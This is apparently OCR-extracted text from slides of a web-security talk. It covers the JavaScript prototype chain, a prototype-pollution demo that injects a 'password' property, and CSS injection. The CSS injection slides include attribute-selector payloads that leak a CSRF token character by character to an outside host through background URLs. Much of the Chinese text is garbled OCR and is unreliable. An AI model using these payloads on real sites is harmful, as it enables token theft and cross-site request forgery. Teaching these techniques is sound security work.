
__lookupGetter__: f, ...}




1235

myobj

kaibro

|

Object.prototype

D —

null



Prototype Chain

myobjZ2 = { prop3: 3, prop4: 4}

myobj] = { propl: 1, propl2: 2,
__proto__: myobj2 }

myobj.prop3
3



myobj myobj?2

Object.prototype

—>  null




obj1

Prototype Chain

i

o JS SHBMRF » EXKIERE Prototype Chain

- {£ obj1 ¥k prop1

oo+

T
o.b.j.N <—|

- AZE > BI55E  proto_ K obj2 #

e proto_ FFIHE=ZIEE] null

——> null




Prototype Pollution

user = [ ]

foo = []

foo["__proto__"]["password"] = "gg"

user.password
Hggll



CSS Injection

® E?EJ:E/EE\
o (REIA¥IEERY CSS AT MEHEA
e CSS IR JS BEIRARAEEL

- BHEE > BRAKFAEEND



CSS Injection

o ERFIAH
- £ IE BB R0 LAFER expression() i)l XSS
- &8 import URL RIBZEE Referer (RHOIEERA R ZE)

- {EFH CSS Selector :EHEVEE4> HTML Source » B4 CSRF Token



CSS Injection

tnput[name=csrf][valueA="1"]{background:url(http://1p/1)}

v

tnput[name=csrf][valueA="2"1{background:urlChttp://1p/2)}
tnput[name=csrf][valueA="2a" ]{background:urlChttp://1p/2a)}

tnput[name=csrf][valueA="2e" ]{background:url(http://1p/2e)} \//



HW - 777



Thank you for listening !




